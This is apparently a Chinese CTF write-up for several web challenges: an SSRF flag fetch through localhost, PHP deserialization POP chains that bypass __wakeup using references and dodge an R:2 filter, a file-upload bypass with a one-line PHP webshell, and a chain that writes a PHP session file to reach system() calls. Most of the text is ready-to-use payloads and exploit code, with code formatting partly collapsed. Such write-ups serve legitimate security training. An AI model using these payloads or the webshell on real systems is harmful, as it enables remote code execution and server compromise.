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考点：审计py代码
from flask import Flask, request, jsonify
import requests
from flag import flag # 假设从 flag.py 文件中导入了 flag 函数
app = Flask(__name__)@app.route('/', methods=['GET', 'POST'])
def getinfo():url = request.args.get('url')if url:# 请求urlresponse = requests.get(url)content = response.textprint(content)if "paluctf" in content:return flagelse:return contentelse:response = {'message': 200, # 这里是数值，不是字符串'data': "Come sign in and get the flag!"}return jsonify(response)
@app.route('/flag', methods=['GET', 'POST'])
def flag1():return "paluctf"if __name__ == '__main__':app.run(debug=True, host="0.0.0.0", port=80)http://127.0.0.1:50258/?url=http://localhost/flagR23
考点：
1.采用&引用绕过_wakeup()魔术方法
2.PHP序列化中的R与r (frankli.site)
参考：PHP序列化中的R与r (frankli.site)
3.无用数据再引用绕过R:2
源代码：
<?php
show_source(__FILE__);
class a{public function __get($a){$this->b->love();}
}class b{public function __destruct(){$tmp = $this->c->name;}public function __wakeup(){$this->c = "no!";$this->b = $this->a;}
}class xk{public function love(){system($_GET['a']);}
}if(preg_match('/R:2|R:3/',$_GET['pop'])){die("no");
}
unserialize($_GET['pop']);出口函数： xy类里面的system($_GET['a']);入口一看就是b类,__wakeup->__destruct->__get->love，越过wakeup魔术方法可采用数组模式 但没有 还可以采用&引用绕过
$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=new xk();
echo serialize($s);得到O:1:"b":3:{s:1:"b";N;s:1:"c";R:2;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}
if(preg_match('/R:2|R:3/',$_GET['pop'])){die("no");
}但是题目不能出现R:2，加个无用数据再引用会变成R:4
$s=new b();
$s->c=&$s->b;
$s->a=new a();
$s->a->b=new xk();
$m=array();
$m[0]='1';
$m[1]=$s;
echo serialize($m);POC:
?pop=a:2:{i:0;s:1:"1";i:1;O:1:"b":3:{s:1:"b";N;s:1:"c";R:4;s:1:"a";O:1:"a":1:{s:1:"b";O:2:"xk":0:{}}}}&a=cat /f*
宇宙召唤
考点：
1.不超过1KB的小马 <?=`$_GET[1]`;
2.*可以截断文件名 比如1php*.png=1.php
3.添加文件头绕过
CTFhub 文件上传漏洞 靶场实战通关攻略 - FreeBuf网络安全行业门户
按照考点做就行了
php不行 一步一步修改
my love
考点：
1.反序列化中session利用
2. 采用&引用绕过_wakeup()魔术方法
PHP session反序列化总结 - FreeBuf网络安全行业门户
CTFweb篇-反序列化和SESSION(一)_ctf session-CSDN博客
源码 ：
<?phpclass a{public function __get($a){$this->b->love();}
}class b{public function __destruct(){$tmp = $this->c->name;}public function __wakeup(){$this->c = "no!";$this->b = $this->a;}
}class xk{public function love(){$a = $this->mylove;}public function __get($a){if(preg_match("/\.|\.php/",$this->man)){die("文件名不能有.");}file_put_contents($this->man,base64_decode($this->woman));}
}
class end{public function love(){($this->func)();}
}if(isset($_GET['pop']))
{unserialize($_GET['pop']);if(preg_match("/N$/",$_GET['test'])){$tmp = $_GET['test'];}}
else{show_source(__FILE__);phpinfo();
}
if($$tmp['name']=='your are good!'){echo 'ok!';system($_GET['shell']);根据代码发现 有两个函数出口
file_put_contents($this->man,base64_decode($this->woman));($this->func)();那我们就可以先利用第一个写入 session文件，然后利用第二个读取，从而RCE
1.file_put_contents($this->man,base64_decode($this->woman));
<?phpclass a{public $a;
}class b{public $a;public $b;public $c;
}class xk{public $man='/var/lib/php/session/sess_1';//phpinfo获取public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';// name|s:14:"your are good!";
}
class end{
}$m=new b();
$m->b = &$m->c;
$m->a = new a();
$m->a->b = new xk();
echo serialize($m);得到如下 然后上传
O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:2:"xk":2:{s:3:"man";s:27:"/var/lib/php/session/sess_1";s:5:"woman";s:36:"bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7";}}s:1:"b";N;s:1:"c";R:7;}
2.下面读取session文件
<?phpclass a{public $a;
}class b{public $a;public $b;public $c;
}class xk{public $man='/var/lib/php/session/sess_1';//phpinfo获取 且定义文件名为1public $woman='bmFtZXxzOjE0OiJ5b3VyIGFyZSBnb29kISI7';// name|s:14:"your are good!";
}
class end{public $func='session_start';}$m=new b();
$m->b = &$m->c;
$m->a = new a();
$m->a->b = new end();
echo serialize($m);O:1:"b":3:{s:1:"a";O:1:"a":2:{s:1:"a";N;s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:6;}然后一起传参
?pop=O:1:"b":3:{s:1:"a";O:1:"a":1:{s:1:"b";O:3:"end":1:{s:4:"func";s:13:"session_start";}}s:1:"b";N;s:1:"c";R:5;}&test=_SESSION&shell=cat+f*test=_SESSION读取序列化文件数据，这里要加个Cookie: PHPSESSID = 1 上面定义了文件名为1
小知识点：session的存放位置 - 三哥~！ - 博客园 (cnblogs.com)
